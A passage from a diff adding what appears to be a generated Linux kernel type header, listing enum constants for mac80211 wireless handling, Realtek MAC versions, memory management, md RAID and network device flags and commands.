65554, + RX_DROP_U_UNPROT_UCAST_MGMT = 65555, + RX_DROP_U_UNPROT_MCAST_MGMT = 65556, + RX_DROP_U_UNPROT_BEACON = 65557, + RX_DROP_U_UNPROT_UNICAST_PUB_ACTION = 65558, + RX_DROP_U_UNPROT_ROBUST_ACTION = 65559, + RX_DROP_U_ACTION_UNKNOWN_SRC = 65560, + RX_DROP_U_REJECTED_ACTION_RESPONSE = 65561, + RX_DROP_U_EXPECT_DEFRAG_PROT = 65562, + RX_DROP_U_WEP_DEC_FAIL = 65563, + RX_DROP_U_NO_IV = 65564, + RX_DROP_U_NO_ICV = 65565, + RX_DROP_U_AP_RX_GROUPCAST = 65566, + RX_DROP_U_SHORT_MMIC = 65567, + RX_DROP_U_MMIC_FAIL = 65568, + RX_DROP_U_SHORT_TKIP = 65569, + RX_DROP_U_TKIP_FAIL = 65570, + RX_DROP_U_SHORT_CCMP = 65571, + RX_DROP_U_SHORT_CCMP_MIC = 65572, + RX_DROP_U_SHORT_GCMP = 65573, + RX_DROP_U_SHORT_GCMP_MIC = 65574, + RX_DROP_U_SHORT_CMAC = 65575, + RX_DROP_U_SHORT_CMAC256 = 65576, + RX_DROP_U_SHORT_GMAC = 65577, + RX_DROP_U_UNEXPECTED_VLAN_4ADDR = 65578, + RX_DROP_U_UNEXPECTED_STA_4ADDR = 65579, + RX_DROP_U_UNEXPECTED_VLAN_MCAST = 65580, + RX_DROP_U_NOT_PORT_CONTROL = 65581, + RX_DROP_U_UNKNOWN_ACTION_REJECTED = 65582, +}; + +enum mac80211_rate_control_flags { + IEEE80211_TX_RC_USE_RTS_CTS = 1, + IEEE80211_TX_RC_USE_CTS_PROTECT = 2, + IEEE80211_TX_RC_USE_SHORT_PREAMBLE = 4, + IEEE80211_TX_RC_MCS = 8, + IEEE80211_TX_RC_GREEN_FIELD = 16, + IEEE80211_TX_RC_40_MHZ_WIDTH = 32, + IEEE80211_TX_RC_DUP_DATA = 64, + IEEE80211_TX_RC_SHORT_GI = 128, + IEEE80211_TX_RC_VHT_MCS = 256, + IEEE80211_TX_RC_80_MHZ_WIDTH = 512, + IEEE80211_TX_RC_160_MHZ_WIDTH = 1024, +}; + +enum mac80211_rx_encoding { + RX_ENC_LEGACY = 0, + RX_ENC_HT = 1, + RX_ENC_VHT = 2, + RX_ENC_HE = 3, + RX_ENC_EHT = 4, +}; + +enum mac80211_rx_encoding_flags { + RX_ENC_FLAG_SHORTPRE = 1, + RX_ENC_FLAG_SHORT_GI = 4, + RX_ENC_FLAG_HT_GF = 8, + RX_ENC_FLAG_STBC_MASK = 48, + RX_ENC_FLAG_LDPC = 64, + RX_ENC_FLAG_BF = 128, +}; + +enum mac80211_rx_flags { + RX_FLAG_MMIC_ERROR = 1, + RX_FLAG_DECRYPTED = 2, + RX_FLAG_ONLY_MONITOR = 4, + RX_FLAG_MMIC_STRIPPED = 8, + RX_FLAG_IV_STRIPPED = 16, + RX_FLAG_FAILED_FCS_CRC = 32, + RX_FLAG_FAILED_PLCP_CRC = 64, + RX_FLAG_MACTIME_IS_RTAP_TS64 = 128, + RX_FLAG_NO_SIGNAL_VAL = 256, + RX_FLAG_AMPDU_DETAILS = 512, + RX_FLAG_PN_VALIDATED = 1024, + RX_FLAG_DUP_VALIDATED = 2048, + RX_FLAG_AMPDU_LAST_KNOWN = 4096, + RX_FLAG_AMPDU_IS_LAST = 8192, + RX_FLAG_AMPDU_DELIM_CRC_ERROR = 16384, + RX_FLAG_AMPDU_DELIM_CRC_KNOWN = 32768, + RX_FLAG_MACTIME = 196608, + RX_FLAG_MACTIME_PLCP_START = 65536, + RX_FLAG_MACTIME_START = 131072, + RX_FLAG_MACTIME_END = 196608, + RX_FLAG_SKIP_MONITOR = 262144, + RX_FLAG_AMSDU_MORE = 524288, + RX_FLAG_RADIOTAP_TLV_AT_END = 1048576, + RX_FLAG_MIC_STRIPPED = 2097152, + RX_FLAG_ALLOW_SAME_PN = 4194304, + RX_FLAG_ICV_STRIPPED = 8388608, + RX_FLAG_AMPDU_EOF_BIT = 16777216, + RX_FLAG_AMPDU_EOF_BIT_KNOWN = 33554432, + RX_FLAG_RADIOTAP_HE = 67108864, + RX_FLAG_RADIOTAP_HE_MU = 134217728, + RX_FLAG_RADIOTAP_LSIG = 268435456, + RX_FLAG_NO_PSDU = 536870912, + RX_FLAG_8023 = 1073741824, +}; + +enum mac80211_scan_flags { + SCAN_SW_SCANNING = 0, + SCAN_HW_SCANNING = 1, + SCAN_ONCHANNEL_SCANNING = 2, + SCAN_COMPLETED = 3, + SCAN_ABORTED = 4, + SCAN_HW_CANCELLED = 5, + SCAN_BEACON_WAIT = 6, + SCAN_BEACON_DONE = 7, +}; + +enum mac80211_scan_state { + SCAN_DECISION = 0, + SCAN_SET_CHANNEL = 1, + SCAN_SEND_PROBE = 2, + SCAN_SUSPEND = 3, + SCAN_RESUME = 4, + SCAN_ABORT = 5, +}; + +enum mac80211_tx_control_flags { + IEEE80211_TX_CTRL_PORT_CTRL_PROTO = 1, + IEEE80211_TX_CTRL_PS_RESPONSE = 2, + IEEE80211_TX_CTRL_RATE_INJECT = 4, + IEEE80211_TX_CTRL_AMSDU = 8, + IEEE80211_TX_CTRL_FAST_XMIT = 16, + IEEE80211_TX_CTRL_SKIP_MPATH_LOOKUP = 32, + IEEE80211_TX_INTCFL_NEED_TXPROCESSING = 64, + IEEE80211_TX_CTRL_NO_SEQNO = 128, + IEEE80211_TX_CTRL_DONT_REORDER = 256, + IEEE80211_TX_CTRL_MCAST_MLO_FIRST_TX = 512, + IEEE80211_TX_CTRL_DONT_USE_RATE_MASK = 1024, + IEEE80211_TX_CTRL_MLO_LINK = 4026531840, +}; + +enum mac80211_tx_info_flags { + IEEE80211_TX_CTL_REQ_TX_STATUS = 1, + IEEE80211_TX_CTL_ASSIGN_SEQ = 2, + IEEE80211_TX_CTL_NO_ACK = 4, + IEEE80211_TX_CTL_CLEAR_PS_FILT = 8, + IEEE80211_TX_CTL_FIRST_FRAGMENT = 16, + IEEE80211_TX_CTL_SEND_AFTER_DTIM = 32, + IEEE80211_TX_CTL_AMPDU = 64, + IEEE80211_TX_CTL_INJECTED = 128, + IEEE80211_TX_STAT_TX_FILTERED = 256, + IEEE80211_TX_STAT_ACK = 512, + IEEE80211_TX_STAT_AMPDU = 1024, + IEEE80211_TX_STAT_AMPDU_NO_BACK = 2048, + IEEE80211_TX_CTL_RATE_CTRL_PROBE = 4096, + IEEE80211_TX_INTFL_OFFCHAN_TX_OK = 8192, + IEEE80211_TX_CTL_HW_80211_ENCAP = 16384, + IEEE80211_TX_INTFL_RETRIED = 32768, + IEEE80211_TX_INTFL_DONT_ENCRYPT = 65536, + IEEE80211_TX_CTL_NO_PS_BUFFER = 131072, + IEEE80211_TX_CTL_MORE_FRAMES = 262144, + IEEE80211_TX_INTFL_RETRANSMISSION = 524288, + IEEE80211_TX_INTFL_MLME_CONN_TX = 1048576, + IEEE80211_TX_INTFL_NL80211_FRAME_TX = 2097152, + IEEE80211_TX_CTL_LDPC = 4194304, + IEEE80211_TX_CTL_STBC = 25165824, + IEEE80211_TX_CTL_TX_OFFCHAN = 33554432, + IEEE80211_TX_INTFL_TKIP_MIC_FAILURE = 67108864, + IEEE80211_TX_CTL_NO_CCK_RATE = 134217728, + IEEE80211_TX_STATUS_EOSP = 268435456, + IEEE80211_TX_CTL_USE_MINRATE = 536870912, + IEEE80211_TX_CTL_DONTFRAG = 1073741824, + IEEE80211_TX_STAT_NOACK_TRANSMITTED = 2147483648, +}; + +enum mac80211_tx_status_flags { + IEEE80211_TX_STATUS_ACK_SIGNAL_VALID = 1, +}; + +enum mac_version { + RTL_GIGA_MAC_VER_02 = 0, + RTL_GIGA_MAC_VER_03 = 1, + RTL_GIGA_MAC_VER_04 = 2, + RTL_GIGA_MAC_VER_05 = 3, + RTL_GIGA_MAC_VER_06 = 4, + RTL_GIGA_MAC_VER_07 = 5, + RTL_GIGA_MAC_VER_08 = 6, + RTL_GIGA_MAC_VER_09 = 7, + RTL_GIGA_MAC_VER_10 = 8, + RTL_GIGA_MAC_VER_11 = 9, + RTL_GIGA_MAC_VER_14 = 10, + RTL_GIGA_MAC_VER_17 = 11, + RTL_GIGA_MAC_VER_18 = 12, + RTL_GIGA_MAC_VER_19 = 13, + RTL_GIGA_MAC_VER_20 = 14, + RTL_GIGA_MAC_VER_21 = 15, + RTL_GIGA_MAC_VER_22 = 16, + RTL_GIGA_MAC_VER_23 = 17, + RTL_GIGA_MAC_VER_24 = 18, + RTL_GIGA_MAC_VER_25 = 19, + RTL_GIGA_MAC_VER_26 = 20, + RTL_GIGA_MAC_VER_28 = 21, + RTL_GIGA_MAC_VER_29 = 22, + RTL_GIGA_MAC_VER_30 = 23, + RTL_GIGA_MAC_VER_31 = 24, + RTL_GIGA_MAC_VER_32 = 25, + RTL_GIGA_MAC_VER_33 = 26, + RTL_GIGA_MAC_VER_34 = 27, + RTL_GIGA_MAC_VER_35 = 28, + RTL_GIGA_MAC_VER_36 = 29, + RTL_GIGA_MAC_VER_37 = 30, + RTL_GIGA_MAC_VER_38 = 31, + RTL_GIGA_MAC_VER_39 = 32, + RTL_GIGA_MAC_VER_40 = 33, + RTL_GIGA_MAC_VER_42 = 34, + RTL_GIGA_MAC_VER_43 = 35, + RTL_GIGA_MAC_VER_44 = 36, + RTL_GIGA_MAC_VER_46 = 37, + RTL_GIGA_MAC_VER_48 = 38, + RTL_GIGA_MAC_VER_51 = 39, + RTL_GIGA_MAC_VER_52 = 40, + RTL_GIGA_MAC_VER_53 = 41, + RTL_GIGA_MAC_VER_61 = 42, + RTL_GIGA_MAC_VER_63 = 43, + RTL_GIGA_MAC_VER_65 = 44, + RTL_GIGA_MAC_VER_66 = 45, + RTL_GIGA_MAC_NONE = 46, +}; + +enum maple_status { + ma_active = 0, + ma_start = 1, + ma_root = 2, + ma_none = 3, + ma_pause = 4, + ma_overflow = 5, + ma_underflow = 6, + ma_error = 7, +}; + +enum maple_type { + maple_dense = 0, + maple_leaf_64 = 1, + maple_range_64 = 2, + maple_arange_64 = 3, +}; + +enum mapping_flags { + AS_EIO = 0, + AS_ENOSPC = 1, + AS_MM_ALL_LOCKS = 2, + AS_UNEVICTABLE = 3, + AS_EXITING = 4, + AS_NO_WRITEBACK_TAGS = 5, + AS_RELEASE_ALWAYS = 6, + AS_STABLE_WRITES = 7, + AS_INACCESSIBLE = 8, + AS_FOLIO_ORDER_BITS = 5, + AS_FOLIO_ORDER_MIN = 16, + AS_FOLIO_ORDER_MAX = 21, +}; + +enum mce_kbd_mode { + MCIR2_MODE_KEYBOARD = 0, + MCIR2_MODE_MOUSE = 1, + MCIR2_MODE_UNKNOWN = 2, +}; + +enum mce_kbd_state { + STATE_INACTIVE___2 = 0, + STATE_HEADER_BIT_START = 1, + STATE_HEADER_BIT_END = 2, + STATE_BODY_BIT_START = 3, + STATE_BODY_BIT_END = 4, + STATE_FINISHED = 5, +}; + +enum md_ro_state { + MD_RDWR = 0, + MD_RDONLY = 1, + MD_AUTO_READ = 2, + MD_MAX_STATE = 3, +}; + +enum mddev_flags { + MD_ARRAY_FIRST_USE = 0, + MD_CLOSING = 1, + MD_JOURNAL_CLEAN = 2, + MD_HAS_JOURNAL = 3, + MD_CLUSTER_RESYNC_LOCKED = 4, + MD_FAILFAST_SUPPORTED = 5, + MD_HAS_PPL = 6, + MD_HAS_MULTIPLE_PPLS = 7, + MD_NOT_READY = 8, + MD_BROKEN = 9, + MD_DELETED = 10, +}; + +enum mddev_sb_flags { + MD_SB_CHANGE_DEVS = 0, + MD_SB_CHANGE_CLEAN = 1, + MD_SB_CHANGE_PENDING = 2, + MD_SB_NEED_REWRITE = 3, +}; + +enum mdi_ctrl { + mdi_write = 67108864, + mdi_read = 134217728, + mdi_ready = 268435456, +}; + +enum mdio_mutex_lock_class { + MDIO_MUTEX_NORMAL = 0, + MDIO_MUTEX_MUX = 1, + MDIO_MUTEX_NESTED = 2, +}; + +enum mds_mitigations { + MDS_MITIGATION_OFF = 0, + MDS_MITIGATION_FULL = 1, + MDS_MITIGATION_VMWERV = 2, +}; + +enum membarrier_cmd { + MEMBARRIER_CMD_QUERY = 0, + MEMBARRIER_CMD_GLOBAL = 1, + MEMBARRIER_CMD_GLOBAL_EXPEDITED = 2, + MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED = 4, + MEMBARRIER_CMD_PRIVATE_EXPEDITED = 8, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED = 16, + MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE = 32, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE = 64, + MEMBARRIER_CMD_PRIVATE_EXPEDITED_RSEQ = 128, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_RSEQ = 256, + MEMBARRIER_CMD_GET_REGISTRATIONS = 512, + MEMBARRIER_CMD_SHARED = 1, +}; + +enum membarrier_cmd_flag { + MEMBARRIER_CMD_FLAG_CPU = 1, +}; + +enum memblock_flags { + MEMBLOCK_NONE = 0, + MEMBLOCK_HOTPLUG = 1, + MEMBLOCK_MIRROR = 2, + MEMBLOCK_NOMAP = 4, + MEMBLOCK_DRIVER_MANAGED = 8, + MEMBLOCK_RSRV_NOINIT = 16, +}; + +enum memcg_memory_event { + MEMCG_LOW = 0, + MEMCG_HIGH = 1, + MEMCG_MAX = 2, + MEMCG_OOM = 3, + MEMCG_OOM_KILL = 4, + MEMCG_OOM_GROUP_KILL = 5, + MEMCG_SWAP_HIGH = 6, + MEMCG_SWAP_MAX = 7, + MEMCG_SWAP_FAIL = 8, + MEMCG_NR_MEMORY_EVENTS = 9, +}; + +enum memcg_stat_item { + MEMCG_SWAP = 44, + MEMCG_SOCK = 45, + MEMCG_PERCPU_B = 46, + MEMCG_VMALLOC = 47, + MEMCG_KMEM = 48, + MEMCG_ZSWAP_B = 49, + MEMCG_ZSWAPPED = 50, + MEMCG_NR_STAT = 51, +}; + +enum meminit_context { + MEMINIT_EARLY = 0, + MEMINIT_HOTPLUG = 1, +}; + +enum memory_type { + MEMORY_DEVICE_PRIVATE = 1, + MEMORY_DEVICE_COHERENT = 2, + MEMORY_DEVICE_FS_DAX = 3, + MEMORY_DEVICE_GENERIC = 4, + MEMORY_DEVICE_PCI_P2PDMA = 5, +}; + +enum mesh_path_flags { + MESH_PATH_ACTIVE = 1, + MESH_PATH_RESOLVING = 2, + MESH_PATH_SN_VALID = 4, + MESH_PATH_FIXED = 8, + MESH_PATH_RESOLVED = 16, + MESH_PATH_REQ_QUEUED = 32, + MESH_PATH_DELETED = 64, +}; + +enum metadata_type { + METADATA_IP_TUNNEL = 0, + METADATA_HW_PORT_MUX = 1, + METADATA_MACSEC = 2, + METADATA_XFRM = 3, +}; + +enum migrate_mode { + MIGRATE_ASYNC = 0, + MIGRATE_SYNC_LIGHT = 1, + MIGRATE_SYNC = 2, +}; + +enum migrate_reason { + MR_COMPACTION = 0, + MR_MEMORY_FAILURE = 1, + MR_MEMORY_HOTPLUG = 2, + MR_SYSCALL = 3, + MR_MEMPOLICY_MBIND = 4, + MR_NUMA_MISPLACED = 5, + MR_CONTIG_RANGE = 6, + MR_LONGTERM_PIN = 7, + MR_DEMOTION = 8, + MR_DAMON = 9, + MR_TYPES = 10, +}; + +enum migratetype { + MIGRATE_UNMOVABLE = 0, + MIGRATE_MOVABLE = 1, + MIGRATE_RECLAIMABLE = 2, + MIGRATE_PCPTYPES = 3, + MIGRATE_HIGHATOMIC = 3, + MIGRATE_TYPES = 4, +}; + +enum migration_type { + migrate_load = 0, + migrate_util = 1, + migrate_task = 2, + migrate_misfit = 3, +}; + +enum minstrel_sample_type { + MINSTREL_SAMPLE_TYPE_INC = 0, + MINSTREL_SAMPLE_TYPE_JUMP = 1, + MINSTREL_SAMPLE_TYPE_SLOW = 2, + __MINSTREL_SAMPLE_TYPE_MAX = 3, +}; + +enum misc_res_type { + MISC_CG_RES_TYPES = 0, +}; + +enum mm_cid_state { + MM_CID_UNSET = 4294967295, + MM_CID_LAZY_PUT = 2147483648, +}; + +enum mminit_level { + MMINIT_WARNING = 0, + MMINIT_VERIFY = 1, + MMINIT_TRACE = 2, +}; + +enum mmio_mitigations { + MMIO_MITIGATION_OFF = 0, + MMIO_MITIGATION_UCODE_NEEDED = 1, + MMIO_MITIGATION_VERW = 2, +}; + +enum mnt_tree_flags_t { + MNT_TREE_MOVE = 1, + MNT_TREE_BENEATH = 2, +}; + +enum mod_license { + NOT_GPL_ONLY = 0, + GPL_ONLY = 1, +}; + +enum mod_mem_type { + MOD_TEXT = 0, + MOD_DATA = 1, + MOD_RODATA = 2, + MOD_RO_AFTER_INIT = 3, + MOD_INIT_TEXT = 4, + MOD_INIT_DATA = 5, + MOD_INIT_RODATA = 6, + MOD_MEM_NUM_TYPES = 7, + MOD_INVALID = -1, +}; + +enum module_state { + MODULE_STATE_LIVE = 0, + MODULE_STATE_COMING = 1, + MODULE_STATE_GOING = 2, + MODULE_STATE_UNFORMED = 3, +}; + +enum monitor_flags { + MONITOR_FLAG_CHANGED = 1, + MONITOR_FLAG_FCSFAIL = 2, + MONITOR_FLAG_PLCPFAIL = 4, + MONITOR_FLAG_CONTROL = 8, + MONITOR_FLAG_OTHER_BSS = 16, + MONITOR_FLAG_COOK_FRAMES = 32, + MONITOR_FLAG_ACTIVE = 64, +}; + +enum mp_irq_source_types { + mp_INT = 0, + mp_NMI = 1, + mp_SMI = 2, + mp_ExtINT = 3, +}; + +enum mpath_info_flags { + MPATH_INFO_FRAME_QLEN = 1, + MPATH_INFO_SN = 2, + MPATH_INFO_METRIC = 4, + MPATH_INFO_EXPTIME = 8, + MPATH_INFO_DISCOVERY_TIMEOUT = 16, + MPATH_INFO_DISCOVERY_RETRIES = 32, + MPATH_INFO_FLAGS = 64, + MPATH_INFO_HOP_COUNT = 128, + MPATH_INFO_PATH_CHANGE = 256, +}; + +enum mq_rq_state { + MQ_RQ_IDLE = 0, + MQ_RQ_IN_FLIGHT = 1, + MQ_RQ_COMPLETE = 2, +}; + +enum msdos_sys_ind { + DOS_EXTENDED_PARTITION = 5, + LINUX_EXTENDED_PARTITION = 133, + WIN98_EXTENDED_PARTITION = 15, + LINUX_DATA_PARTITION = 131, + LINUX_LVM_PARTITION = 142, + LINUX_RAID_PARTITION = 253, + SOLARIS_X86_PARTITION = 130, + NEW_SOLARIS_X86_PARTITION = 191, + DM6_AUX1PARTITION = 81, + DM6_AUX3PARTITION = 83, + DM6_PARTITION = 84, + EZD_PARTITION = 85, + FREEBSD_PARTITION = 165, + OPENBSD_PARTITION = 166, + NETBSD_PARTITION = 169, + BSDI_PARTITION = 183, + MINIX_PARTITION = 129, + UNIXWARE_PARTITION = 99, +}; + +enum msi_desc_filter { + MSI_DESC_ALL = 0, + MSI_DESC_NOTASSOCIATED = 1, + MSI_DESC_ASSOCIATED = 2, +}; + +enum msi_domain_ids { + MSI_DEFAULT_DOMAIN = 0, + MSI_MAX_DEVICE_IRQDOMAINS = 1, +}; + +enum msix_fh_int_causes { + MSIX_FH_INT_CAUSES_Q0 = 1, + MSIX_FH_INT_CAUSES_Q1 = 2, + MSIX_FH_INT_CAUSES_D2S_CH0_NUM = 65536, + MSIX_FH_INT_CAUSES_D2S_CH1_NUM = 131072, + MSIX_FH_INT_CAUSES_S2D = 524288, + MSIX_FH_INT_CAUSES_FH_ERR = 2097152, +}; + +enum msix_hw_int_causes { + MSIX_HW_INT_CAUSES_REG_ALIVE = 1, + MSIX_HW_INT_CAUSES_REG_WAKEUP = 2, + MSIX_HW_INT_CAUSES_REG_IML = 2, + MSIX_HW_INT_CAUSES_REG_RESET_DONE = 4, + MSIX_HW_INT_CAUSES_REG_TOP_FATAL_ERR = 8, + MSIX_HW_INT_CAUSES_REG_SW_ERR_BZ = 32, + MSIX_HW_INT_CAUSES_REG_CT_KILL = 64, + MSIX_HW_INT_CAUSES_REG_RF_KILL = 128, + MSIX_HW_INT_CAUSES_REG_PERIODIC = 256, + MSIX_HW_INT_CAUSES_REG_SW_ERR = 33554432, + MSIX_HW_INT_CAUSES_REG_SCD = 67108864, + MSIX_HW_INT_CAUSES_REG_FH_TX = 134217728, + MSIX_HW_INT_CAUSES_REG_HW_ERR = 536870912, + MSIX_HW_INT_CAUSES_REG_HAP = 1073741824, +}; + +enum mthp_stat_item { + MTHP_STAT_ANON_FAULT_ALLOC = 0, + MTHP_STAT_ANON_FAULT_FALLBACK = 1, + MTHP_STAT_ANON_FAULT_FALLBACK_CHARGE = 2, + MTHP_STAT_SWPOUT = 3, + MTHP_STAT_SWPOUT_FALLBACK = 4, + MTHP_STAT_SHMEM_ALLOC = 5, + MTHP_STAT_SHMEM_FALLBACK = 6, + MTHP_STAT_SHMEM_FALLBACK_CHARGE = 7, + MTHP_STAT_SPLIT = 8, + MTHP_STAT_SPLIT_FAILED = 9, + MTHP_STAT_SPLIT_DEFERRED = 10, + MTHP_STAT_NR_ANON = 11, + MTHP_STAT_NR_ANON_PARTIALLY_MAPPED = 12, + __MTHP_STAT_COUNT = 13, +}; + +enum multi_stop_state { + MULTI_STOP_NONE = 0, + MULTI_STOP_PREPARE = 1, + MULTI_STOP_DISABLE_IRQ = 2, + MULTI_STOP_RUN = 3, + MULTI_STOP_EXIT = 4, +}; + +enum nbcon_prio { + NBCON_PRIO_NONE = 0, + NBCON_PRIO_NORMAL = 1, + NBCON_PRIO_EMERGENCY = 2, + NBCON_PRIO_PANIC = 3, + NBCON_PRIO_MAX = 4, +}; + +enum nec_state { + STATE_INACTIVE___3 = 0, + STATE_HEADER_SPACE___2 = 1, + STATE_BIT_PULSE___2 = 2, + STATE_BIT_SPACE___2 = 3, + STATE_TRAILER_PULSE___2 = 4, + STATE_TRAILER_SPACE___2 = 5, +}; + +enum net_bridge_opts { + BROPT_VLAN_ENABLED = 0, + BROPT_VLAN_STATS_ENABLED = 1, + BROPT_NF_CALL_IPTABLES = 2, + BROPT_NF_CALL_IP6TABLES = 3, + BROPT_NF_CALL_ARPTABLES = 4, + BROPT_GROUP_ADDR_SET = 5, + BROPT_MULTICAST_ENABLED = 6, + BROPT_MULTICAST_QUERY_USE_IFADDR = 7, + BROPT_MULTICAST_STATS_ENABLED = 8, + BROPT_HAS_IPV6_ADDR = 9, + BROPT_NEIGH_SUPPRESS_ENABLED = 10, + BROPT_MTU_SET_BY_USER = 11, + BROPT_VLAN_STATS_PER_PORT = 12, + BROPT_NO_LL_LEARN = 13, + BROPT_VLAN_BRIDGE_BINDING = 14, + BROPT_MCAST_VLAN_SNOOPING_ENABLED = 15, + BROPT_MST_ENABLED = 16, +}; + +enum net_device_flags { + IFF_UP = 1, + IFF_BROADCAST = 2, + IFF_DEBUG = 4, + IFF_LOOPBACK = 8, + IFF_POINTOPOINT = 16, + IFF_NOTRAILERS = 32, + IFF_RUNNING = 64, + IFF_NOARP = 128, + IFF_PROMISC = 256, + IFF_ALLMULTI = 512, + IFF_MASTER = 1024, + IFF_SLAVE = 2048, + IFF_MULTICAST = 4096, + IFF_PORTSEL = 8192, + IFF_AUTOMEDIA = 16384, + IFF_DYNAMIC = 32768, + IFF_LOWER_UP = 65536, + IFF_DORMANT = 131072, + IFF_ECHO = 262144, +}; + +enum net_device_path_type { + DEV_PATH_ETHERNET = 0, + DEV_PATH_VLAN = 1, + DEV_PATH_BRIDGE = 2, + DEV_PATH_PPPOE = 3, + DEV_PATH_DSA = 4, + DEV_PATH_MTK_WDMA = 5, +}; + +enum netdev_cmd { + NETDEV_UP = 1, + NETDEV_DOWN = 2, + NETDEV_REBOOT = 3, + NETDEV_CHANGE = 4, + NETDEV_REGISTER = 5, + NETDEV_UNREGISTER = 6, + NETDEV_CHANGEMTU = 7, + NETDEV_CHANGEADDR = 8, + NETDEV_PRE_CHANGEADDR = 9, + NETDEV_GOING_DOWN = 10, + NETDEV_CHANGENAME = 11, + NETDEV_FEAT_CHANGE = 12, + NETDEV_BONDING_FAILOVER = 13, + NETDEV_PRE_UP = 14, + NETDEV_PRE_TYPE_CHANGE = 15, + NETDEV_POST_TYPE_CHANGE = 16, + NETDEV_POST_INIT = 17, + NETDEV_PRE_UNINIT = 18, + NETDEV_RELEASE = 19, + NETDEV_NOTIFY_PEERS = 20, + NETDEV_JOIN = 21, + NETDEV_CHANGEUPPER = 22, + NETDEV_RESEND_IGMP = 23, + NETDEV_PRECHANGEMTU = 24, + NETDEV_CHANGEINFODATA = 25, + NETDEV_BONDING_INFO = 26, + NETDEV_PRECHANGEUPPER = 27, + NETDEV_CHANGELOWERSTATE = 28, + NETDEV_UDP_TUNNEL_PUSH_INFO = 29, + NETDEV_UDP_TUNNEL_DROP_INFO = 30, + NETDEV_CHANGE_TX_QUEUE_LEN = 31, + NETDEV_CVLAN_FILTER_PUSH_INFO = 32, + NETDEV_CVLAN_FILTER_DROP_INFO = 33, + NETDEV_SVLAN_FILTER_PUSH_INFO = 34, + NETDEV_SVLAN_FILTER_DROP_INFO = 35, + NETDEV_OFFLOAD_XSTATS_ENABLE = 36, + NETDEV_OFFLOAD_XSTATS_DISABLE = 37, + NETDEV_OFFLOAD_XSTATS_REPORT_USED = 38, + NETDEV_OFFLOAD_XSTATS_REPORT_DELTA = 39, + NETDEV_XDP_FEAT_CHANGE = 40, +}; + +enum netdev_lag_hash { + NETDEV_LAG_HASH_NONE = 0, + NETDEV_LAG_HASH_L2 = 1, + NETDEV_LAG_HASH_L34 = 2, + NETDEV_LAG_HASH_L23 = 3, + NETDEV_LAG_HASH_E23 = 4, + NETDEV_LAG_HASH_E34 = 5, + NETDEV_LAG_HASH_VLAN_SRCMAC = 6, + NETDEV_LAG_HASH_UNKNOWN = 7, +}; + +enum netdev_lag_tx_type { + NETDEV_LAG_TX_TYPE_UNKNOWN = 0, + NETDEV_LAG_TX_TYPE_RANDOM = 1, + NETDEV_LAG_TX_TYPE_BROADCAST = 2, + NETDEV_LAG_TX_TYPE_ROUNDROBIN = 3, + NETDEV_LAG_TX_TYPE_ACTIVEBACKUP = 4, + NETDEV_LAG_TX_TYPE_HASH = 5, +}; + +enum netdev_ml_priv_type { + ML_PRIV_NONE = 0, + ML_PRIV_CAN = 1, +}; + +enum netdev_offload_xstats_type { + NETDEV_OFFLOAD_XSTATS_TYPE_L3 = 1, +}; + +enum netdev_priv_flags { + IFF_802_1Q_VLAN = 1, + IFF_EBRIDGE = 2, + IFF_BONDING = 4, + IFF_ISATAP = 8, + IFF_WAN_HDLC = 16, + IFF_XMIT_DST_RELEASE = 32, + IFF_DONT_BRIDGE = 64, + IFF_DISABLE_NETPOLL = 128, + IFF_MACVLAN_PORT = 256, + IFF_BRIDGE_PORT = 512, + IFF_OVS_DATAPATH = 1024, + IFF_TX_SKB_SHARING = 2048, + IFF_UNICAST_FLT = 4096, + IFF_TEAM_PORT = 8192, + IFF_SUPP_NOFCS = 16384, + IFF_LIVE_ADDR_CHANGE = 32768, + IFF_MACVLAN = 65536, + IFF_XMIT_DST_RELEASE_PERM = 131072, + IFF_L3MDEV_MASTER = 262144, + IFF_NO_QUEUE = 524288, + IFF_OPENVSWITCH = 1048576, + IFF_L3MDEV_SLAVE = 2097152, + IFF_TEAM = 4194304, + IFF_RXFH_CONFIGURED = 8388608, + IFF_PHONY_HEADROOM = 16777216, + IFF_MACSEC = 33554432, + IFF_NO_RX_HANDLER = 67108864, + IFF_FAILOVER = 134217728, + IFF_FAILOVER_SLAVE = 268435456, + IFF_L3MDEV_RX_HANDLER = 536870912, + IFF_NO_ADDRCONF = 1073741824, + IFF_TX_SKB_NO_LINEAR = 2147483648, +}; + +enum netdev_qstats_scope { + NETDEV_QSTATS_SCOPE_QUEUE = 1, +}; + +enum netdev_queue_state_t { + __QUEUE_STATE_DRV_XOFF = 0, + __QUEUE_STATE_STACK_XOFF = 1, + __QUEUE_STATE_FROZEN = 2, +}; + +enum netdev_queue_type { + NETDEV_QUEUE_TYPE_RX = 0, + NETDEV_QUEUE_TYPE_TX = 1, +}; + +enum netdev_reg_state { + NETREG_UNINITIALIZED = 0, + NETREG_REGISTERED = 1, + NETREG_UNREGISTERING = 2, + NETREG_UNREGISTERED = 3, + NETREG_RELEASED = 4, + NETREG_DUMMY = 5, +}; + +enum netdev_stat_type { + NETDEV_PCPU_STAT_NONE = 0, + NETDEV_PCPU_STAT_LSTATS = 1, + NETDEV_PCPU_STAT_TSTATS = 2, + NETDEV_PCPU_STAT_DSTATS = 3, +}; + +enum netdev_state_t { + __LINK_STATE_START = 0, + __LINK_STATE_PRESENT = 1, + __LINK_STATE_NOCARRIER = 2, + __LINK_STATE_LINKWATCH_PENDING = 3, + __LINK_STATE_DORMANT = 4, + __LINK_STATE_TESTING = 5, +}; + +enum netdev_tx { + __NETDEV_TX_MIN = -2147483648, + NETDEV_TX_OK = 0, + NETDEV_TX_BUSY = 16, +}; + +typedef enum netdev_tx netdev_tx_t; + +enum netdev_xdp_act { + NETDEV_XDP_ACT_BASIC = 1, + NETDEV_XDP_ACT_REDIRECT = 2, + NETDEV_XDP_ACT_NDO_XMIT = 4, + NETDEV_XDP_ACT_XSK_ZEROCOPY = 8, + NETDEV_XDP_ACT_HW_OFFLOAD = 16, + NETDEV_XDP_ACT_RX_SG = 32, + NETDEV_XDP_ACT_NDO_XMIT_SG = 64, + NETDEV_XDP_ACT_MASK = 127, +}; + +enum netdev_xdp_rx_metadata { + NETDEV_XDP_RX_METADATA_TIMESTAMP = 1, + NETDEV_XDP_RX_METADATA_HASH = 2, + NETDEV_XDP_RX_METADATA_VLAN_TAG = 4, +}; + +enum netdev_xsk_flags { + NETDEV_XSK_FLAGS_TX_TIMESTAMP = 1, + 